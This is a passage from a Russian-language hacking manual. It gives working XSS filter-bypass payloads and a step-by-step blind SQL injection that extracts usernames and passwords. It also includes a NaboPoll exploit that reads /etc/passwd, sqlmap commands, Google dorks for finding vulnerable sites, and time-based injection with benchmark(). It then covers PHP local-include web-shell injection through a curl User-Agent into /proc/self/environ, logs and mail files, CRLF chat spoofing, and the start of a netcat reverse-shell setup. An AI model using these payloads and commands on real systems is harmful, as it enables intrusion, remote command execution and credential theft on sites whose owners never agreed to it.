BACKGROUND, отвечающее за фон таблицы. Опасность этого тега в том, что вместо фона можно ввести javascript-код:
<TABLE BACKGROUND="javascript:alert('XSS')"> 

<DIV>. Данный тег служит контейнером для текста. К тексту, заключенному
внутрь тегов <div> и </div>, может быть применен определенный стиль. Вот
пример:
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

Есть и еще один вариант, где вместо url() используется функция expression():
<DIV STYLE="width: expression(alert('XSS'));"> 

<STYLE>. Этот тег задает правила оформления элементов, находящихся внутри
тегов <STYLE> и </STYLE>. Вот первый вариант использования:
<STYLE>.XSS{background-image:url(
"javascript:alert('Hacked')");}</STYLE><A CLASS=XSS></A>

Здесь сначала объявляется класс XSS (в нем расположен XSS-код), а затем он
вызывается с помощью кода
<A CLASS=XSS></A>

Второй вариант:
<STYLE> type="text/css">BODY{background:url(
"javascript:alert('Hacked')")} </STYLE>

В этом варианте наш XSS-код указывается как фоновое изображение страницы. 
<BGSOUND>. Данный тег позволяет задать фоновый звук страницы, однако вместо звукового файла можно указать javascript-код:
<BGSOUND SRC="javascript:alert('XSS');"> 

<IMG> . Этот тег применяется для вставки изображений на страничку. Есть
два свойства этого тега, которые обрабатываются только браузером Internet
Explorer. Это свойства DYNSRC и LOWSRC. В их значении может быть указан код
скрипта:

68

Как хакеры обходят механизм фильтрации тега <script>

69

<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">

Таким же образом можно указать код в свойстве SRC для любых браузеров,
о чем я рассказал ранее. 
<OBJECT>. Данный тег внедряет определенный объект в html-страницу. Вставка
удаленного javascript-кода возможна следующим способом:
<OBJECT TYPE="text/x-scriptlet" DATA=
"http://www.site.com/test.html"></OBJECT>

Здесь мы указали адрес страницы, на которой может находиться опасный код.
Этот тег может использоваться для заражения множества клиентов. Взломщик
легко может вставить ссылку на свою страницу с кодом трояна. При открытии
уязвимой страницы код трояна будет загружаться с другого сайта. Это облегчает задачу, когда через XSS пытаются заразить пользователей нескольких сайтов.
И в завершение перечислим несколько причин неработоспособности XSS: 
у клиента javascript-код может блокироваться браузером или брандмауэром; 
у клиента может блокироваться VBScript-код; 
у клиента могут блокироваться внешние объекты (что мешает загрузке сценариев с другого сайта); 
XSS-скрипты с тегом <IMG> не работают в браузере Firefox.

69

07

Слепая SQL-инъекция

Слепую SQL-инъекцию мы рассмотрим на примере СУБД MySQL, хотя та же
идея работает в MS SQL и в иных СУБД. При слепой инъекции вы видите не извлекаемые данные, а только ответ сервера. По сравнению с обычной реализация
слепой инъекции немного сложнее и требует больше времени, но, если в инъекции несколько предложений SELECT и нельзя использовать ключевое слово UNION,
слепая инъекция является оптимальной для хакера.
Сначала рассмотрим, как можно «вытащить» версию MySQL, как угадать имена
таблиц и столбцов и как затем извлечь данные из столбцов базы. Как и ранее, мы
будем пытаться поставить себя на место хакера.
Не пытайтесь использовать комментарий (то есть символы -- или /*), когда
выполняете слепую инъекцию, это обычно не нужно и может лишь испортить
дело. Если вы все же используете комментарий, как в случае с оператором INSERT
(см. далее), нужно позаботиться о том, чтобы вместо закомментированных значений в базу записывались другие. Существуют средства для автоматизации слепых
инъекций, но лучше знать, как такая инъекция работает, и уметь реализовать ее
вручную. К тому же часто удобнее сделать начальную часть работы вручную,
а потом использовать автоматизированное средство, чтобы извлечь содержимое
из столбца. Извлечение данных вслепую — дело достаточно медленное и трудоемкое даже при автоматизации, но, когда нет других доступных вариантов, это
оптимальный метод взлома сайтов.
Мы будем использовать в примере несуществующий адрес:
http://site.com/news.php?id=12

Предположим, что при попытке перейти по этому адресу мы увидели новостную
статью с заголовком и содержимым. Чтобы проверить возможность слепой инъекции, вводится следующее:
news.php?id=12 and 1=1

При этом мы должны увидеть ту же страничку, что и раньше. Далее пробуем
такой вариант:
news.php?id=12 and 1=2

В случае успешной инъекции вы увидите, что часть содержимого пропадет. Это
может сразу броситься в глаза, например, если не отобразится текст статьи, или
может быть менее заметным, например, если пропадет только заголовок или
уменьшится количество страниц в статье. Можете пощелкать на кнопках Назад
и Вперед в браузере, чтобы заметить различия. Если наша инъекция проводится со
строковой переменной, вместо предыдущих нужно использовать такие строки:

70

что они истинны. что это версия MySQL3. Если условие истинно.php?id=12' and 1='2 Это позволит убрать синтаксическую ошибку. Если выяснится. а если ложно — нет (как в случае варианта 1=2). ПРИМЕЧАНИЕ Вместо переменной @@version можно попробовать вызвать функцию version(). которые либо истинны. и ничего не исчезает.php?id=12 and (select 1)=1 71 . мы увидим статью новостей. Запрос должен выглядеть следующим образом: news. Мы будем говорить. в противном случае мы увидим неполную страницу. меняем 4 на 5 и пробуем снова. Получение номера версии MySQL с помощью переменной @@version Сначала нужно выяснить номер версии MySQL. Так что мы будем задавать условия. Поскольку в странице не хватает содержимого.php?id=12' and 1='1 news. — проверяем возможность использования подзапроса. Проверка возможности доступа к таблице mysql. когда мы вводим символы 1=2. данные возвращаются (как в случае варианта 1=1).1)=4 Здесь берется первый символ из переменной @@version и проверятся на равенство четырем (=4). если мы вводим символы 1=1. либо ложны. То есть вводимое нами условие влияет на возвращаемые данные. мы имеем дело с MySQL5. так как версии MySQL имеют различия. значит. поскольку иногда ключевое слово select бывает занесено в черный список: news. поскольку в этой версии подзапросы SELECT и оператор UNION недопустимы.php?id=12 and substring(@@version. что мы делаем.user Следующее.1. то получить какие-либо данные будет почти невозможно. что заголовок или содержимое статьи исчезает. Если 4 и 5 не срабатывают. Для нашего случая предположим. а узнавать. как было в варианте 1=2. Если это равенство справедливо. попробуйте 3.Проверка возможности доступа к таблице mysql. Если на этот раз страница загрузится нормально. или что они ложны — по невозвращению.user 71 news. что «страница загрузилась нормально» при получении данных из базы. Это поможет узнать доступные команды. мы сможем по возвращению содержимого страницы.

72

07. Слепая SQL-инъекция

Если этот подзапрос работает, вы увидите нормально загружающуюся страницу.
Далее посмотрим, являемся ли мы достаточно привилегированным пользователем, чтобы иметь доступ к таблице mysql.user:
news.php?id=12 and (SELECT 1 from mysql.user limit 0,1)=1

Если у нас есть доступ к таблице mysql.user, запрос вернет значение 1, если нет,
то будет ошибка, и ничего не возвратится. Так что, если страница загружается
нормально, это означает, что у нас есть доступ к mysql.user, и позже можно будет
попытаться извлечь хэши паролей MySQL или использовать функции load_file()
и OUTFILE. Обратите внимание на то, что мы ограничили количество возвращаемых записей с помощью конструкции limit 0,1, поскольку вложенные запросы
могут возвращать только одну запись с данными; в противном случае они вызовут
ошибку и не сработают. Так что не забудьте обязательно задействовать ключевое
слово limit.

Угадывание имен таблиц
В нашем примере мы имеем дело с версией MySQL5, однако извлечение данных
из базы information_schema при слепой атаке происходит очень медленно, поэтому
иногда имеет смысл попробовать просто угадать названия некоторых таблиц.
Например, в следующем запросе делается попытка извлечь данные из таблицы
users:
news.php?id=12 and (SELECT 1 from users limit 0,1)=1

Если в базе есть таблица с именем users, страничка загрузится нормально. Далее
нужно просто менять название таблицы, пытаясь его угадать.
Если же вы работаете с версией MySQL4, нужно будет угадывать имена таблиц
и столбцов.

Угадывание имен столбцов
в найденной таблице
Если вам повезло и вы угадали правильные имена каких-либо таблиц, можно попробовать угадать имена столбцов в этих таблицах. Предположим, таблица users
уже найдена в нашем примере, тогда можно попытаться выполнить следующий
запрос:
news.php?id=12 and (SELECT substring(
concat(1,password),1,1) from users limit 0,1)=1

Здесь мы добавили к строке '1' содержимое столбца password, затем вызвали
функцию substring (выделение части строки), взяли только первый символ,
который должен быть равен 1, если столбец password существует. Далее просто
меняйте название password, чтобы попытаться угадать имена столбцов.

72

Извлечение данных из найденныхтаблиц/столбцов

73

Извлечение данных из найденных
таблиц/столбцов
Поскольку извлечение данных из таблиц может отнимать немало времени, здесь
полезно использовать автоматизацию, однако знание того, как это делается вручную, поможет вам лучше понять механизм слепой SQL-инъекции. Мы будем
извлекать имя пользователя (username) и пароль (password) из таблицы users. Допустим, ранее мы выяснили, что в таблице существуют столбцы username, password,
email и userid. Теперь попытаемся для конкретного пользователя извлечь имя
пользователя (username) и пароль (password) с помощью условия where:
news.php?id=12 and ascii(substring((SELECT concat(
username,0x3a,password) from users where userid=2),1,1))>100

Можно также попытаться использовать ограничение limit 0,1, чтобы извлечь
данные первого пользователя, поскольку подзапросы должны возвращать только
одну запись, а иначе будет ошибка. Это неплохая идея, если вы не знаете, сколько
записей вернет запрос. Кроме того, наш подзапрос select заключен в вызов функции substring(,1,1), которая урезает возвращаемые данные до одного первого
символа. Потом функция ascii() преобразует этот один символ в его числовой
ASCII-код, который затем проверяется на условие > 100.
Так что если в приведенном примере ASCII-код этого символа больше, чем 100,
то страница загрузится нормально. Если в нашем случае страница не загрузится
полностью, это будет означать, что код первого символа меньше 100 и нужна
новая проверка:
news.php?id=12 and ascii(substring((SELECT concat(
username,0x3a,password) from users where userid=2),1,1))>80

Если страница загрузится нормально, значит, код символа больше 80. Далее пробуем большие значения:
news.php?id=12 and ascii(substring((SELECT concat(
username,0x3a,password) from users where userid=2),1,1))>90

Если не получается, пробуем значение поменьше:
news.php?id=12 and ascii(substring((SELECT concat(
username,0x3a,password) from users where userid=2),1,1))>85

Если получается, увеличиваем значение:
news.php?id=12 and ascii(substring((SELECT concat(
username,0x3a,password) from users where userid=2),1,1))>86

Если на этот раз опять не получается, значит, все просто. Сейчас у нас число,
большее 85, но не большее 86, то есть это число 86! Чтобы убедиться в этом, можете проверить условие =86. Далее, используя преобразователь ASCII-кодов (функцию char(86)), узнаем, что первая буква возвращенного из базы результата — это
V. Чтобы получить следующий символ, модифицируем функцию substring:
news.php?id=12 and ascii(substring((SELECT concat(
username,0x3a,password) from users where userid=2),2,1))>100

73

74

07. Слепая SQL-инъекция

Мы заменили в вызове функции substring символы ,1,1 символами ,2,1, чтобы
она возвращала второй символ из результата выполнения запроса select. Далее
повторяется та же процедура, что и для первого символа. Пусть на этот раз условие >100 истинно, так что увеличиваем число:
news.php?id=12 and ascii(substring((SELECT concat(
username,0x3a,password) from users where userid=2),2,1))>120

Если нет, уменьшаем его до 110:
news.php?id=12 and ascii(substring((SELECT concat(
username,0x3a,password) from users where userid=2),2,1))>110

Если опять нет, делаем его еще меньше:
news.php?id=12 and ascii(substring((SELECT concat(
username,0x3a,password) from users where userid=2),2,1))>105

И еще меньше:
news.php?id=12 and ascii(substring((SELECT concat(
username,0x3a,password) from users where userid=2),2,1))>103

Пусть на этот раз условие истинно. Тогда увеличиваем число:
news.php?id=12 and ascii(substring((SELECT concat(
username,0x3a,password) from users where userid=2),2,1))>104

Если условие истинно, это означает, что число больше 104 и не больше 105, то
есть искомое число — 105. Вызов char(105) дает букву i. Так что пока имеем
словосочетание Vi. Как вы заметили, за 11 запросов к базе мы узнали только два
символа. И это еще нам везло при угадывании. Ну а далее аналогичным способом
(с помощью функции substring) угадывается следующий символ, пока, в конце
концов, условие >0 не станет ложным. Надеюсь, теперь вам понятно, что извлечение пар user/password может быть весьма затратным по времени.

Слепая SQL-инъекция в движке NaboPoll
В установленном в системе Damn Vulnerable Linux движке NaboPoll (предназначенном для проведения опросов), а точнее — в модуле results.php имеет место
уязвимость, доступная для слепой SQL-инъекции. Уязвимый текст таков:
Строки 27...31
-------------------------------$res_question = mysql_query("select * from nabopoll_questions
where survey=$survey order by id");
if ($res_question == FALSE || mysql_numrows($res_question) == 0)
error($row_survey, "questions not found");

Параметр $survey (опрос) предварительно не фильтруется, а напрямую подставляется в SQL-запрос. Это слепая инъекция, так как сам параметр используется
только в условии where и не отображается в дальнейшем в браузере.

74

и основной запрос к базе выполнится нормально (мы увидим страничку с результатом опроса). как показано на рис.1.1. а на страничке появится сообщение survey not found (опрос не найден). если условие в IF истинно. Оператор IF в зависимости от истинности условия вернет либо первый аргумент (1). а справа в скобках стоит подзапрос SELECT с условным оператором IF. мы получим AND 1=1. Разберем его подробнее. то результат опроса с номером 1 будет выглядеть примерно так. 07.Слепая SQL-инъекция в движке NaboPoll 75 Теперь займемся эксплуатацией уязвимости. Создание нового опроса в NaboPoll Запрос добавляется щелчком на синем значке плюса и сохраняется щелчком на зеленом значке галочки в разделе Actions (Действия).1. и основной запрос ничего не вернет. Таким образом. либо второй (0).php?surv=1). если условие истинно.0))) Аналогичный текст я нашел внутри готового эксплойта для SQL-инъекции в движке NaboPoll.php и создать новый опрос. чтобы добавить вопросы (а затем ответы). Если вы сделали все правильно. Для начала нужно пройти в каталог администратора сайта по адресу http://localhost/webexploitation_package_02/ nabopoll/admin/survey_edit.2.1 Рис. то мы получим AND 1=0. Теперь добавьте после конструкции surv=1 следующий текст: /**/AND/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(user(). если оно ложно. К существующему где-то в недрах странички оператору SELECT добавляется наше условие AND 1=. Чтобы перейти на уровень ниже. (для этого нужно перейти по адресу http://localhost/webexploitation_package_02/nabopoll/result. как показано на рис. 07. вероятно. Проверяемое в операторе IF условие: ASCII-код первого символа имени пользователя MySQL (его возвращает 75 . Если условие ложно. Вместо пробелов используются пустые комментарии (/**/). сайт не распознает пробелы. 07. нужно щелкнуть на сиреневом значке стрелки (это последний значок в разделе Actions).1))>125).

но сервер страничку с опросом не отобразил (рис.3. Слепая SQL-инъекция функция user) больше (или меньше) некоторого значения.2.3). 07. больше ли этот код значения 125. 07. Созданный нами опрос в NaboPoll Рис. 07. значит.76 07. Слепая инъекция в NaboPoll 76 . Мы сначала проверили. Рис. условие ложно.

удаляем. например. больше ли этот код. идем по адресу http:// packetstormsecurity.php. так как это просто пояснения (то есть у вас должен остаться только текст. 07. Пробуя несколько раз. Аналогично ищется код второго символа (заменяем в вызове SUBSTRING второй параметр на 2): /**/AND/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(user().1))>114). например. в каталоге /tmp и запускаем командой php nabopoll. Далее меняем значение переменной $survey на 1.0))) После небольшого числа попыток находим. выясняем. Текст эксплойта для NaboPoll Сохраняем программу с именем nabopoll. что код первого символа равен 114. а значение переменной $path — на путь к движку: /webexploitation_package_02/nabopoll Рис.php.1. Чтобы не тратить время на ручной перебор символов. что код второго символа равен 111 (буква o). 07.2. чем 100. показанный на рис. 77 .txt и копируем текст эксплойта в свой редактор. что находится до начала программы (до оператора <?).4).org/0702-exploits/nabopoll-sql. и в результате сервер возвращает положительный ответ (страничка с опросом загрузилась). Все.4.Слепая SQL-инъекция в движке NaboPoll 77 Далее проверяем. Это код буквы r.

можно преобразовать строку к нижнему регистру (так как хэш может содержать либо только прописные. Если же реализовать не просто перебор. 07. мы узнали. как по одному символу на экране появляется имя пользователя MySQL (рис. то есть скорость работы возросла ровно в 13 раз. Тогда в хэше могут встретиться только цифры 0–9 и буквы a–f. На самом деле можно перебирать только печатные символы (да и то не все. Я переделал эксплойт с использованием двоичного поиска. а метод двоичного поиска. многие эксплойты для слепых SQL-инъекций перебирают абсолютно все коды символов: от 0 до 255. усложнится. к которому у нас есть доступ на чтение.78 07. Если эксплойт предназначен для извлечения стандартного MD5-хэша. код эксплойта. 07.5. конечно. если у нашего пользователя есть право на исполнение функции load_file(). Это я вам говорю как программист ☺.5). используя упомянутые здесь методы. но время работы значительно сократится. 78 . Рис. а только допустимые в имени пользователя). и он стал угадывать 100 символов всего за 15 секунд. что заметно сокращает время работы эксплойта. Текст усовершенствованного эксплойта приведен в приложении 6. например /etc/passwd. Как я уже отмечал. Однако по-настоящему быстрые методы извлечения хэшей приведены в приложении 8.6. Измерения показали. что на подбор 100 символов эксплойт тратит 195 секунд. то для загрузки целого файла ее не мешало бы повысить. Работа эксплойта для NaboPoll Таким образом. По моим наблюдениям. либо только строчные буквы. на расшифровку это никак не влияет). В этом случае время перебора сокращается в разы даже без половинного деления. что имя пользователя MySQL — root@localhost. Для этого достаточно просто заменить в эксплойте вызов функции user() следующим вызовом: load_file(0x2f6574632f706173737764) Работу модифицированного эксплойта иллюстрирует рис. Слепая SQL-инъекция После этого можно наблюдать волшебную картину. можно загрузить любой файл. 07. Если для извлечения имени пользователя скорость работы эксплойта не столь важна.

Утилита sqlmap может также извлекать имена таблиц (столбцов). С точки зрения хакера. 07. подверженного инъекции (у нас это id). но на самом деле вам не потребуется полная структура таблиц. Работа описанной команды sqlmap продолжается порядка 5 минут. После опции --string указывается уникальная строка. которая появляется на страничке. не забудьте заключить оператор SELECT в скобки. применяется следующая команда: .password) from users where userid=2)" Здесь после -u указан адрес.py -u "http://site. Работа модифицированного эксплойта для NaboPoll Автоматизация механизма извлечения данных Вернемся к условному примеру с инъекцией на сайте site.6. поскольку версия 5 содержит ошибки и не всегда работает корректно. если условие истинно. чтобы выполнять свои команды для получения имен только интересующих вас таблиц 79 . Существуют и другие инструменты для слепой инъекции.com в модуле news. Опция -v1 означает подробный отчет. Задействуйте опцию –e./txt/user-agents. Опция -a задает случайного пользовательского агента из текстового файла (иначе по умолчанию будет указан вариант user-agent = sqlmap.com/news.php?id=12" -p id -a ".Автоматизация механизма извлечения данных 79 Рис. если на сайте используется версия mysql5.0x3a. лучше использовать хакерскую утилиту sqlmap 4. если вы используете подзапрос. Чтобы извлечь те же самые имя пользователя и пароль с помощью утилиты sqlmap. который появляется только в случае истинности условия. а вручную пришлось бы потратить не менее получаса. пробуя варианты 1=1 и 1=2 и копируя небольшой фрагмент текста.php. и. Отыскать ее можно. в котором имеется инъекция.txt" -v1 --string "Posted 3–3-2008" -e "( SELECT concat(username. Опция -e задает выполняемую команду. что нехорошо)./sqlmap. а после -p — имя параметра.

потенциально уязвимых для слепой SQL-инъекции. Например. Слепая SQL-инъекция и столбцов (в версии mysql4 вам придется угадывать имена таблиц и столбцов описанным ранее методом): . вы добавляете столбцы.80 07.0x3a.com/news. пока количество их в двух запросах select не станет равным.1))<=255). чем использовать команду sqlmap для получения имен всех таблиц и потом искать. Значение параметра (в нашем примере — 29) обязательно должно существовать в базе данных сайта. что вы имеете дело с классическим случаем слепой инъекции.1. даже если на инжектируемом сайте выключена опция magic_quotes.column_name) from information_schema. Это означает. ввод несуществующих значений не даст желаемого результата. Далее мы просто запускаем это и увеличиваем значение limit. Если сайт оказался уязвимым. В поле параметра (пусть это будет. есть большая вероятность того.txt" -v1 --string "Posted 3–3-2008" -e "( SELECT concat(table_schema. п. Поиск уязвимых сайтов Поиск сайтов.«site:uk» и т. параметр id) следует подставить конструкцию id=29 and 1=1. чтобы часть содержимого исчезла. загружается ли содержимое файла /etc/passwd: id=29 and 1=(SELECT/**/ (IF((ASCII(SUBSTRING( load_file(0x2f6574632f706173737764).columns where column_name like 0x257061737325 limit 0. например.table_name. так что используем шестнадцатеричные коды 0x257061737325 (это просто конструкция '%pass%'. как вы ожидаете.php on line 377».py -u "http://site.0x3a. Например.1. что он окажется уязвимым. если сайт выдает примерно такое сообщение об ошибке: «Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/site/public_html/detail. когда обычная с виду SQL-инъекция работает не так./sqlmap. Так получается гораздо быстрее. Для сокращения диапазона поиска можно добавлять словосочетания «site:fr». в каких таблицах могут находиться интересующие нас данные. хакеру имеет смысл сразу сделать «ход конем» — проверить.php?id=12" -p id -a "./txt/user-agents. Возможна ситуация. и id=29 and 1=2. что ни один из параметров запроса не отображается на экране. чтобы получать последующие записи. вводя в строке поиска запрос: «Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource». преобразованная в шестнадцатеричные коды).0))) 80 . но обнаруживаете. осуществляется довольно просто. Уязвимые сайты легко искать через Google.1)" Команда sqlmap не работает с одинарными кавычками. чтобы страница отображалась нормально.

для MS SQL — функция delay(). Если таким образом ресурсоемкую функцию выполнить много-много раз. вы можете с помощью эксплойта «вытащить» содержимое указанного файла. так что. чтобы узнать. version() и переменная @@version_compile_os. использующий временну ю задержку. benchmark( 999999. '[sql]'. Предположим. потому что в нем есть sql-инъекция. установленной на сайте. а потом при необходимости достаточно просто вернуться к этому разделу. что результат сравнения в запросе был истинным. то надо попытаться отыскать и загрузить логины и пароли пользователей сайта. Для MySQL используется функция benchmark(). 'bbb'. Параметр sql здесь выделен квадратными скобками. 'bbb'. который. Использование временных задержек Приводимый здесь материал немного сложнее предыдущего и в дальнейшем изложении больше не упоминается. 'sql' и 'xxx'. Здесь проверяется на равенство единице результат выполнения условного оператора if. если в уязвимом сценарии используется не оператор SELECT.user limit 1).1).user. database(). 'xxx'). из него берется первый символ. в случае истинности условия выполнит функцию benchmark.md5(now())). как мы указали. При некоторых навыках программирования легко модифицировать эксплойт для NaboPoll. что. если сразу не разберетесь. 'hacked') /* ]'. а оператор INSERT (вставка записи) или UPDATE (модификация записи) и при этом результат его выполнения никак не влияет на вывод информации на экран? В этом случае хакеры пишут эксплойт.1)>0. В самом же условии подзапросом select выбирается одно имя пользователя из таблицы mysql. Последняя содержит название операционной системы. время задержки достигнет нескольких секунд. в случае ложности — просто вернет значение –1. И тогда по наличию задержки мы узнаем. Итак. приведенный в приложении 6). что в уязвимом скрипте есть такой sql-оператор: INSERT INTO table VALUES ('aaa'. преобразуется к нижнему регистру 81 . 'xxx'). Тогда мы можем в этот параметр вставить свой подзапрос select (в примере заключен в квадратные скобки): INSERT INTO table VALUES ('aaa'. каков результат сравнения. '[ ' OR 1=if(ascii(lower(substring( (select user from mysql. можете не расстраиваться.1. Также представляют интерес функции user(). чтобы он работал с этим сайтом (я рекомендую использовать мой вариант эксплойта. Этот оператор вставляет в таблицу table значения 'aaa'.Использование временных задержек 81 Если ответ на этот запрос положительный (страница загружается полностью). особенно администраторов. значит. С помощью функции benchmark() программисты тестируют производительность — она заданное количество раз вызывает какую-либо другую функцию. для PostgreSQL — функция pg_sleep(). Если же ответ отрицательный (а так бывает более чем в 90% случаев). 'bbb'.

чем 0. значит.  Время работы эксплойта прямо пропорционально длине извлекаемой записи.user limit 1).  После каждого вызова функции benchmark системе нужно давать паузу.82 07. 'hacked') /* ]'. потому что код символа не может превышать 255: INSERT INTO table VALUES ('aaa'. Поскольку он наверняка больше. Иначе следующий запрос будет иметь непредсказуемое время выполнения. и последующие символы начнут обрабатываться неправильно. перебор будет происходить быстрее. когда условие истинно. равную или процентов на 50 большую продолжительности выполнения самой функции. потому что в этом методе отрицательный и положительный результаты сравнения равновероятны и. При реализации эксплойта с использованием функции benchmark нужно учитывать следующие моменты:  Вызов функции benchmark серьезно нагружает процессор сервера. Запись значения xxx в таблицу у нас не произойдет. много раз будет срабатывать временная задержка. потому что перед этим стоят символы комментария (/*). При использовании временных задержек нет смысла применять метод половинного деления. 82 . Поскольку отрицательный результат сравнения встречается намного чаще. А вот этот оператор выполнится без задержки. benchmark( 999999. следует ставить задержку именно в случае.1) ).  Количество выполнений тестовой функции benchmark (в нашем случае 999 999) зависит от производительности сервера.md5(now())). больше ли его ASCII-код. выполнится функция benchmark и временная задержка составит несколько секунд (функция benchmark у нас 999 999 раз вычисляет MD5-хэш от текущего времени). 'xxx'). Слепая SQL-инъекция и проверяется. Желательно в эксплойте сначала выполнять автоподстройку этого параметра.1)>255. На подбор 32-символьного хэша уходит больше часа. вместо него запишется слово hacked. Администратор может заметить задержки в работе. Если перебор осуществляется проверкой символа на равенство. '[ ' OR 1=if(ascii(lower(substring(( select user from mysql. 'bbb'.  Взломщику требуется скоростной доступ в Интернет.1.

Искушенный же использует хранилище переменных окружения /proc/self/environ. что возможности залить файл/картинку с шеллом у нас нет. как мы проводили инъекцию в логи сервера Apache. то появится возможность выполнять произвольные команды системы.4) Gecko/2008102920 Firefox/3. Mozilla/5.4 HTTP_KEEP_ALIVE=150 . можно включить код и в /proc/self/environ. rv:1. Когда мы запрашиваем любую php-страничку на сервере. ?> и обращаемся к нашему уязвимому скрипту командой curl: curl "http://site. а в каталоге /tmp не сохраняются данные сессий./.. А теперь вместо user-agent подставляем <?php eval($_GET[cmd]). U. В *nixсистемах каждый процесс имеет собственную запись в каталоге /proc./..com ..1.com) присутствует php-код./...0. Для примера возьмем поле user-agent (имя веб-браузера). Аналогично тому./. По умолчанию часть /proc/self/environ. При этом часть /proc/self/environ с хакерским кодом user-agent будет выглядеть так: 83 ..9.0. уязвимый для локального инклуда. показывающая user-agent. en-US./proc/ self/environ&cmd=phpinfo().0 (Windows./. пути к логам сервера Apache мы не нашли...08 Новые возможности PHP-инклуда Инъекция в файл /proc/self/environ Допустим.. содержащая полезную информацию для последних процессов. что на определенном сайте (http://site. выглядит примерно так: PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin SERVER_ADMIN=admin@site. создается новый процесс." -H "User-Agent: <?php eval(\$_GET[cmd]).. а /proc/ self — это статический путь и символическая ссылка. Если записать веб-шелл в /proc/self/environ. ?>" Функция phpinfo() успешно выполнится./. Windows NT 5. Также предположим. Что делать? Неискушенный в локальном инклуде хакер опустил бы руки..com/index../.php?page=.

просмотрев файл / proc/self/status). %{FD_ID} — ярлыки соответствующих файлов (обычно 2 и 7 — логи сервера Apache). тогда конечный эксплойт будет выглядеть следующим образом: curl "http://site. Использовать ее для инклуда можно несколькими способами:  Через id процесса и ярлыки: /proc/%{PID}/fd/%{FD_ID} Здесь %{PID} — идентификатор процесса (узнать можно./.com/index. что строка user-agent и вредоносный запрос должны внедряться одновременно (так как наш код в /proc/self/environ легко сможет изменить любой другой последующий процесс)./. а в предыдущем случае id процесса может поменяться. Такие случаи действительно бывают.../. Недостаток метода в том. Пример: http://site.com ... вовсе не обязательно././.php?page=./. что на сайте не работают оба представленных способа инклуда. ?>" Этот способ надежнее..../. В обоих представленных способах (как и при любом локальном инклуде логов сервера Apache) эти логи должны быть доступны для чтения.com/index." -H "User-Agent: <?php eval(\$_GET[cmd]). ?>"  Напрямую.. 84 . где они лежат./. а используя self: curl "http://site../proc/self/status Допустим. без узнавания id процесса.. ?> HTTP_KEEP_ALIVE=150 ../..com/index./. так как self — это текущий процесс./././. значение %{PID} равно 1228./. Поиск логов сервера Apache Как узнать местонахождение файлов access_log и error_log? На самом деле знать.../..php?page=..../.../../proc/ 1228/fd/2&cmd=phpinfo().84 08./.../proc/ self/fd/2&cmd=phpinfo().. Инклуд почтового сообщения На этот раз представим. Новые возможности PHP-инклуда PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin SERVER_ADMIN=admin@site. В том же каталоге /proc расположена символическая ссылка на реальное местоположение логов Apache.php?page=. но итальянские хакеры из группы Secteam смогли изобрести хитрый способ реализации инклуда через обычное сообщение электронной почты... <?php eval($_GET[cmd])../." -H "User-Agent: <?php eval(\$_GET[cmd]).././.

Хакер заменяет какую-либо часть своего профиля (например. 2. д. Отправленное письмо будет лежать в каталоге /var/mail (либо в /var/spool/mail) и иметь название пользователя. Хакер заменяет свой электронный адрес строкой вида wwwrun@localhost././. apache. под которым работает http-демон. Сама процедура локального инклуда через e-mail выглядит так: 1. 85 ./.. www. Вот эксплойт для этого способа с применением стандартной программы curl: curl "http://site. п. nobody.././. «Обо мне»).. вредоносным php-кодом. которому адресовано письмо (то есть веб-сервер должен быть обязательно запущен под тем же пользователем).. где wwwrun — пользователь.com/index.php?page=. подготовленным для локального инклуда.. Зачастую пользователь может сам изменять содержимое такого письма.. каких-либо подписок и т./var/mail/ wwwrun&cmd=phpinfo(). под которым запущен http-демон (возможны также варианты www-data. Хакер регистрируется в веб-приложении на уязвимом сервере././.). 3. что файл почтового сообщения будет доступен только тому пользователю. которая должна прийти в письме в качестве подтверждения смены информации. wwwdata и т..Инклуд почтового сообщения 85 Большинство веб-приложений содержат в себе функцию отправки почты в качестве части регистрационной системы.." Отмечу. При этом *nixсистемы могут сохранять такое письмо локально.

09 CRLF-инклуд CRLF-инклуд — это очень простая уязвимость. народ! <Admin> отстань от меня. 86 . ваш ник в чате — Alex) вы просто вставляете шестнадцатеричный код перевода строки (%0a) и имитируете сообщение от чужого имени: Привет. что сообщения чата хранятся в текстовом файле примерно в таком формате: [00:20:33] <Admin> всем привет! [00:20:40] <Lapochka> привет. народ!%0a[00:20:51] <Admin> отстань от меня. Admin! После своего сообщения (скажем. Предположим. Lapochka! В некоторых чатах локальных файлообменых сетей (например. которая позволяет. Admin! <Alex> Привет. подделывать сообщения в чатах. Lapochka! В результате файл с сообщениями примет следующий вид: [00:20:33] [00:20:40] [00:20:49] [00:20:51] <Admin> всем привет! <Lapochka> привет. FlyLinkDC++) даже не нужно вводить символы %0a — достаточно вместо этого нажать комбинацию клавиш Ctrl+Enter на клавиатуре (на это мне указал Codehunter aka Born Dragon). например.

Удаленный подбор паролей 0C. Повышение привилегий 0E.Часть III Что дальше?           0A. Получение полноценного доступа к шеллу 0B. Сокрытие следов присутствия 0F. Противодействие хакерам 13. Исследование системы 10. Локальный взлом паролей 0D. Реальные задачи IT-безопасности 87 . Алгоритмы получения контроля над сервером 11. Удаленные эксплойты 12.

в данном случае — командная оболочка /bin/sh. Сначала хакер должен запустить в командной строке на своем компьютере утилиту netcat в режиме прослушивания порта следующим образом: nc -l -n -v -p 25 Здесь после параметра -p указывается номер прослушиваемого порта (25). Рассмотрим. Вместо опции -v (verbose — подробный отчет) можно указать опцию -vv (very verbose — очень подробный отчет). что произошло соединение (connect). после чего сможет вводить команды.0.0A Получение полноценного доступа к шеллу Следующим шагом является получение полноценного доступа к командной оболочке (шеллу).1 25 В результате на своем компьютере хакер увидит сообщение о том. но в главе 0D я описал хитрый способ получения прав суперпользователя при наличии только веб-шелла. Так как IP-адрес локального хоста есть 127.1. повышающих права. Многие начинающие хакеры даже считают это абсолютно необходимым условием для использования локальных эксплойтов. она не всегда «понимает» параметр -e.0. Почему это важно? Помимо очевидного удобства работы. которые будут 88 . на мой взгляд. необходимый для выполнения произвольной команды после установления соединения (в нашем случае — для запуска командной оболочки). Эта утилита присутствует во многих бесплатных версиях Unix (в том числе Linux).0. как получить нормальный шелл-доступ. К сожалению. при наличии такого доступа можно попытаться получить права суперпользователя (root). После параметра указывается исполняемая 